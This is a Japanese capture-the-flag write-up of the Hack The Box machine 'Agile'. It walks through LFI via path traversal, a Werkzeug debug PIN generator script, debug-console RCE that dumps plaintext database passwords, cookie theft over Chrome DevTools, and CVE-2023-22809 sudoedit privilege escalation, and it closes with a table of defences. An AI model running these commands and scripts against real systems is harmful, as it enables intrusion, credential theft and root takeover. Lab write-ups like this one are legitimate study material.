Hack The BoxのWriteup(Agile)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Agile — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80、superpass.htbリダイレクト
Export機能LFI
/download?fn=../
Werkzeug PIN再現
MAC+machine-id+cgroup
デバッグコンソールRCE
www-data
MySQL平文パスワード窃取
corum SSH
user.txt ✓
Chrome DevTools
Cookie窃取
test vault
edwards SSH
CVE-2023-22809
sudoedit
root.txt ✓

ポートスキャンとターゲット確認

BASH
nmap -Pn -p22,80,443 -sCV 10.129.228.212
RESULT
22/tcp  open  ssh   OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp  open  http  nginx 1.18.0 (Ubuntu)
http-title: SuperPassword 🦸
BASH
echo "10.129.228.212 superpass.htb test.superpass.htb" | sudo tee -a /etc/hosts
ℹ️
Flask製のパスワードマネージャ「SuperPassword」。会員登録→ログイン→パスワード保存→ エクスポート、という一連の機能を持つ。エラー画面でスタックトレースが表示され Flaskがdebugモードで動いていることが分かる。
PHASE 2

Export機能のパストラバーサルLFI & Werkzeug PIN算出

Exportのfnパラメータでファイル読取

NOTE
会員登録→ログイン後、vaultにパスワードを1件追加してExportすると
/download?fn=<username>_export_<10文字hex>.csv へリダイレクトされる。
サーバ側は fn を単純に /tmp/ に結合するだけでパストラバーサル対策が無い:

  full_name = os.path.join('/tmp/', fn)   # 対策前バージョン

"../" を先頭に付けると /tmp/../etc/passwd = /etc/passwd を読める。
BASH
curl -s -b cookies.txt "http://superpass.htb/download?fn=../etc/passwd"
curl -s -b cookies.txt "http://superpass.htb/download?fn=../sys/class/net/eth0/address"
curl -s -b cookies.txt "http://superpass.htb/download?fn=../etc/machine-id"
curl -s -b cookies.txt "http://superpass.htb/download?fn=../proc/self/cgroup"
RESULT
root:x:0:0:root:/root:/bin/bash
...
corum:x:1000:1000:corum:/home/corum:/bin/bash
edwards:x:1002:1002:,,,:/home/edwards:/bin/bash
dev_admin:x:1003:1003:,,,:/home/dev_admin:/bin/bash
LFI成功。 シェル持ちの非標準ユーザー corumedwardsdev_admin を確認。

Werkzeugデバッグコンソール PIN の再現

NOTE
Flaskがdebugモードで動くと、500エラー時にWerkzeugのデバッグコンソールが
表示される。このコンソールはPIN(9桁)で保護されているが、PINは以下の
「秘密情報っぽくない情報」+「秘密情報っぽい情報」からSHA1で決定論的に
生成される (Werkzeug公式実装 get_pin_and_cookie_name()):

  probably_public_bits = [username, "flask.app", "wsgi_app", ]
  private_bits         = [MACアドレスを10進数化した文字列, machine-id + cgroup末尾]

LFIで /proc/self/cmdline から実行コマンドラインを読み venv のパスを特定、
/sys/class/net/eth0/address・/etc/machine-id・/proc/self/cgroup を読んで
必要な値をすべて揃えた。
PYTHON (generate_pin.py の要旨)
import hashlib
from itertools import chain

probably_public_bits = ['www-data', 'flask.app', 'wsgi_app',
    '/app/venv/lib/python3.10/site-packages/flask/app.py']
node = int(mac_address.replace(':', ''), 16)
private_bits = [str(node), machine_id + cgroup_tail]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    h.update(bit.encode())
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"

h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
pin = "-".join(num[i:i+3] for i in range(0, 9, 3))  # 3桁区切り
print(pin)
RESULT
PIN: 135-148-084 (例)
PHASE 3

デバッグコンソールRCE → MySQL平文パスワード窃取 → user.txt

スタックトレースの誘発とPIN認証

BASH
# 不正な形式のPOSTデータ (配列指定) で500エラーを誘発、secretトークンを取得
curl -s -b cookies.txt -X POST http://superpass.htb/account/login \
  --data-urlencode "username[]=a" --data-urlencode "password[]=b"
# レスポンス中の "secret": "<hex>" を抽出

# PIN認証
curl -s -b cookies.txt \
  "http://superpass.htb/?__debugger__=yes&cmd=pinauth&pin=135-148-084&s=<secret>"
# → {"auth": true, ...}
BASH (Pythonコード実行, frame=0はグローバル名前空間)
curl -s -b cookies.txt \
  "http://superpass.htb/?__debugger__=yes&cmd=$(python3 -c "
import urllib.parse
code = '''import subprocess;print(subprocess.run(
  [\\"mysql\\",\\"-usuperpassuser\\",\\"-p<prod_db_pass>\\",\\"-h\\",\\"127.0.0.1\\",
   \\"-D\\",\\"superpass\\",\\"-N\\",\\"-e\\",\\"select username,password from passwords\\"],
  capture_output=True,text=True).stdout)'''
print(urllib.parse.quote(code))
")&frame=0&s=<secret>"
RESULT
0xdf    762b430d32eea2f12970
corum   47ed1e73c955de230a1d
corum   9799588839ed0f98c211
corum   5db7caa1d13cc37c9fc2   ← site="agile" の行
RCE成功、DB平文パスワード窃取。 passwordsテーブルは全て平文保存されており、 サイト名 “agile” の行が corum のシステムログインパスワードそのものだった。

SSH & user.txt取得

BASH
ssh corum@10.129.228.212
# password: 5db7caa1d13cc37c9fc2
corum@agile:~$ cat user.txt
RESULT
ead4e9f2baad3dcd347e456786ffa373
user.txt — corum
ead4e9f2baad3dcd347e456786ffa373
PHASE 4

Chrome DevTools Protocol による Cookie窃取 → edwards

ヘッドレスChromeの発見

BASH
corum@agile:~$ sudo -l
Sorry, user corum may not run sudo on agile.

corum@agile:~$ ps auxww | grep chrome
RESULT
runner ... chromedriver --port=43601
runner ... /usr/bin/google-chrome ... --remote-debugging-port=41829 ...
                --enable-automation --headless --test-type=webdriver ...
🚨
重要発見: pytestの自動テストスイート用に、リモートデバッグポートを 開けたままのヘッドレスChromeが常駐している。このポートに到達できれば Chrome DevTools Protocol (CDP) 経由でブラウザの内部状態(Cookie含む)を 直接読み取れる — ファイルシステムへのアクセス権限は一切不要

SSHトンネル & CDP Cookie窃取

BASH
ssh -L 9222:localhost:41829 -L 5555:127.0.0.1:5555 corum@10.129.228.212
curl -s http://localhost:9222/json
# → webSocketDebuggerUrl を取得
PYTHON (CDP経由でCookie取得)
import websocket, json
ws = websocket.create_connection("ws://localhost:9222/devtools/page/<id>")
ws.send(json.dumps({"id": 1, "method": "Network.getAllCookies"}))
print(ws.recv())
ws.close()
RESULT
{"id":1,"result":{"cookies":[
  {"name":"remember_token","domain":"test.superpass.htb",
   "value":"1|c5ce4e75f40092753fb28ce26511329491f0bea9cb9be23b8cb9ba76e2f627f..."},
  {"name":"session","domain":"test.superpass.htb",
   "value":".eJwlzjkOwjAQAMC_uKbYy2snn0HeS9AmpEL8HSTmBfNu9zryfLT9dVx5a_dntL1x6FxEI2cX1l..."}
]}}
Cookie窃取成功。 テスト実行中のブラウザが認証済み状態で保持していた Cookieをそのまま奪取できた。

盗んだCookieでテスト環境vaultへアクセス

BASH
# Netscape Cookie形式で保存
curl -s -b stolen_cookies.txt http://localhost:5555/vault
RESULT
<td>agile</td><td>edwards</td><td>d07867c6267dcb5df0af</td>
<td>twitter</td><td>dedwards__</td><td>7dbfe676b6b564ce5718</td>
BASH
ssh edwards@10.129.228.212
# password: d07867c6267dcb5df0af
edwards SSH成功。 テスト環境(“test.superpass.htb”)は本番環境 (“superpass.htb”)と同じユーザーDBを参照しているため、盗んだセッションで edwards自身のvaultを閲覧でき、そこに登録されていた自分のシステムパスワードを 入手できた。
ℹ️
実機での注意点: このヘッドレスChromeはpytest自動テストが使い回して いるため、有効な認証済みCookieを保持しているのはテスト実行中の特定タイミングのみ。 また対象マシンのroot個人crontabには */2 * * * * mysql superpasstest < testdb.sql でテストDBを2分おきにリセットする処理があり、これによって remember_tokenの実効有効期間も長くて2分程度に制限されている。 1回で取得できない場合は、この周期を跨いで数回リトライするとよい。
PHASE 5

CVE-2023-22809 sudoedit 任意ファイル書込み → root.txt

sudo権限の確認

BASH
edwards@agile:~$ sudo -l
RESULT
User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
BASH
edwards@agile:~$ sudo --version | head -1
RESULT
Sudo version 1.9.9   ← CVE-2023-22809修正版(1.9.12p2)より前

狙う書込み先: rootが毎分sourceするvenvスクリプト

BASH
edwards@agile:~$ ls -la /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 ... /app/venv/bin/activate
🚨
/app/venv/bin/activate は root所有だが dev_adminグループに 書込み権限がある。sudoersで許可されているのは /app/config_test.json だけだが、CVE-2023-22809で 「本来許可されていないファイル」をこの2つの許可ファイルと一緒にエディタへ 渡すことができれば、dev_adminのグループ書込み権限を使って実際に書き換えられる。 rootの個人crontab (crontab -l) は毎分 source /app/venv/bin/activate を実行しているため、 このファイルにコマンドを仕込めば root 権限でコード実行できる。

CVE-2023-22809 の実行 (EDITOR環境変数の悪用)

BASH
edwards@agile:~$ EDITOR='nano -- /app/venv/bin/activate' \
    sudoedit -u dev_admin /app/config_test.json
NOTE
sudoeditは EDITOR 環境変数の値をスペース区切りでコマンドへ展開する際、
"--" 以降のトークンを追加の編集対象ファイルとして受理してしまう
(sudoersの許可チェックをすり抜ける)。結果として nano が2つのバッファを
multibuffer モードで開く:

  [1/2] /app/venv/bin/activate の一時コピー   ← 本来許可されていないファイル
  [2/2] /app/config_test.json  の一時コピー   ← sudoersで許可された本来の対象

"--: Permission denied" という警告が最初に出るが、これは正常な挙動で
exploit失敗を意味しない (sudoが "--" というトークン自体を1つのファイル名
候補として誤って検証しようとした際のエラーメッセージに過ぎない)。
BASH (nano内での操作)
# 1番目のバッファ (activate) の先頭にカーソルがある状態で直接タイプ
mkdir -p /root/.ssh
chmod 700 /root/.ssh
cp /home/edwards/authorized_keys /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# 保存: Ctrl+O → Enter (ファイル名確認)
# → "[ Wrote 73 lines ]"
# 2番目のバッファへ移動して閉じる: Ctrl+X (1回目)
# 残ったバッファも閉じてsudoedit自体を終了させる: Ctrl+X (2回目)
⚠️
ハマりどころ: Ctrl+X1回しか送らないと、 2番目のバッファ(未変更)を閉じただけで1番目のバッファ表示に戻ってしまい、 nano/sudoeditはまだ終了していない。この状態で後続のコマンドを送ると、 シェルではなくnanoのテキストバッファに文字として入力されてしまい、 実ファイルへの反映も一切起きない。必ず2回連続でCtrl+Xを送り、 両方のバッファを確実に閉じて sudoedit のプロセス自体を終了させること。

書込みの確認とroot cronの発火待ち

BASH
edwards@agile:~$ head -6 /app/venv/bin/activate
RESULT
mkdir -p /root/.ssh
chmod 700 /root/.ssh
cp /home/edwards/authorized_keys /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly
実ファイルへの書込み成功! 事前に /home/edwards/authorized_keys へ自分の公開鍵を配置しておき、root個人crontabの毎分実行 (* * * * * source /app/venv/bin/activate) を1分ほど待つ。
BASH
ssh -i my_key root@10.129.228.212 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
8aabae245d2eee311a3ca92dff71e7fe
root.txt — root
8aabae245d2eee311a3ca92dff71e7fe
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — corum
ead4e9f2baad3dcd347e456786ffa373
root.txt — root
8aabae245d2eee311a3ca92dff71e7fe

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
パストラバーサルLFI /download?fn= (Flask, debugモード) 任意ファイル読取 High fnパラメータが検証無しで/tmp/に結合されるため ../ で脱出
Werkzeugデバッグコンソール RCE Flask debugモード リモートコード実行 (www-data) Critical LFIで収集したMAC/machine-id等からPIN生成アルゴリズムを再現し、 コンソール認証を突破
平文パスワード保存 MySQL passwordsテーブル 横展開用の資格情報漏洩 Medium 暗号化されていないパスワードをRCE経由でクエリし直接窃取
ヘッドレスChrome Cookie窃取 chromedriver + Chrome DevTools Protocol 認証セッションの乗っ取り High リモートデバッグポートに到達しCDP経由でCookieを直接取得
CVE-2023-22809 sudo < 1.9.12p2 (本インスタンス1.9.9) 権限昇格 (root) Critical EDITOR環境変数に -- <任意ファイル> を仕込み、 sudoedit許可対象外のファイルを書換え

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + リダイレクト確認22/80、superpass.htb確定
2LFIExport機能のパストラバーサル/etc/passwd、MAC/machine-id/cgroup
3RCEWerkzeug PIN再現→デバッグコンソールMySQL平文パスワード → user.txt
4横展開Chrome DevTools Cookie窃取edwards SSH資格情報
5権限昇格CVE-2023-22809 sudoeditroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
Export機能のファイル名パラメータにパストラバーサル対策が無い パス結合後に os.path.realpath() で正規化し、 許可ディレクトリ配下かを検証する。
本番環境でFlaskのdebugモードが有効なまま 本番では debug=False を徹底する。デバッグコンソールの PINは推測困難な乱数由来の秘密情報にのみ依存させるべきで、 ファイル読取で収集可能な情報から再現できる設計は危険。
パスワードマネージャなのにDBへ平文でパスワードを保存している 保存時に暗号化する。復号鍵はアプリケーションサーバーとは 別の管理下に置く。
リモートデバッグポートを開けたヘッドレスブラウザが常駐している CI/テスト用ブラウザのデバッグポートは 127.0.0.1 のみに bindし、かつテスト専用の隔離ネットワーク/コンテナで実行する。 本番同等の資格情報をテスト環境で使い回さない。
古いバージョンのsudo (1.9.9) を使い続けている sudoは頻繁にアップデートし、CVE-2023-22809 (1.9.12p2で修正) 等の 既知の脆弱性に対応する。sudoersで許可するsudoedit対象は 最小限にし、rootが定期的にsourceするファイルへの書込み権限を 非rootグループへ渡さない。
HackTheBox: Agile | 完全攻略レポート